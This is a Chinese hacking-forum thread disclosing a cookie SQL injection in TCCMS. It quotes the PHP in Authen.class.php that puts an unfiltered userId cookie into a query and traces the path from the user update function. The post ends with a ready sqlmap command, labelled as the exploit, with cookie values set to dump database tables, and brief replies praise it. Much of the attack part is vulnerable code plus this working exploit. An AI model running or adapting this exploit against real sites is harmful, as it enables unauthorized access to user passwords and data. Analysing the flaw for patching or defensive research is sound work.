查看: 11633|回复: 2

TCCMS全版本COOKIE注入

[复制链接]
  • TA的每日心情
    开心
    2017-1-9 18:10
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2014-1-3 05:40:59 | 显示全部楼层 |阅读模式
    本帖最后由 Diana 于 2014-1-3 05:46 编辑

    /public/Class/Authen.class.php
    省略无关代码
    请注意添加注释处代码,下同
    [AppleScript] 纯文本查看 复制代码
    public static function checkUserLogin() {
            $_Obj = M("user");
            if (empty($_COOKIE['userId']) || empty($_COOKIE['AuthenId'])) {return false;}
            //下面的语句直接使用$_COOKIE['userId']没有过滤
            $sql="select password from ".$_Obj->table." where id=".$_COOKIE['userId'];
            //不考虑之后的代码,如果没有其他限制至少可以盲注
            $info = $_Obj->query($sql);
            if (!empty($_COOKIE['AuthenId']) && md5($info[0][password].Config::get("anthenKey")) == $_COOKIE['AuthenId']) {
                return true;
            }
            return false;
        }


    //下面函数与之后提到的攻击向量有关
    [AppleScript] 纯文本查看 复制代码
    public static function checkIsSelfData($uid) {
            if (self::isAdmin()) {return true;}
            if ($uid == $_COOKIE['userId'] && self::checkUserLogin()) {return true;}
            return false;
        }

    那么我们要定位漏洞代码的触发位置

    /core/controller/user.class.php

    攻击向量:

    update()-------------》Authen::checkIsSelfData-------》checkUserLogin()

    缺陷参数:userID
    [AppleScript] 纯文本查看 复制代码
    public function update() {
            …………省略无关代码…………
     
            //禁止修改别人的
     
            $IsSelfData = Authen::checkIsSelfData($_Obj->id);
     
            if (!$IsSelfData) {
     
                $this->setValue("error", Config::lang("NOTRIGHT"));
     
                $this->forward("error.html");
     
                exit;
     
            }
     
            $_Obj->update();
     
            StringUtil::msgbox(Config::lang("MODIFYSUCCESS"), 'index.php?ac=user_info', 1);
     
        }


    即:在更新个人信息时可以直接将cookie中的userID带入数据库查询,形成注射

    exp:
    [AppleScript] 纯文本查看 复制代码
    sqlmap.py -u "http://0day5.com/index.php?ac=user_update" --data "abc" --cookie "Cookie=PHPSESSID=0lc04nmbqmmtr420c83n8ov3g4; userId=37; AuthenId=2fd1239168e9fabd621a8d00fba03203" --level 2 --table --dbms=mysql
    





    {:soso__5548040772417742106_4:}

    不回复木JJ 伸手党木JJ

    评分

    参与人数 1i币 +10 收起 理由
    90_ + 10 感谢分享

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情

    2024-12-14 22:22
  • 签到天数: 1631 天

    [LV.Master]伴坛终老

    发表于 2014-1-3 11:38:06 | 显示全部楼层
    妹子不错,音乐也不错
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    难过
    2016-8-26 14:36
  • 签到天数: 6 天

    [LV.2]偶尔看看I

    发表于 2014-1-3 12:52:09 | 显示全部楼层
    代码审计,高端大气{:soso_e154:}
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-25 01:41 , Processed in 0.040780 second(s), 16 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部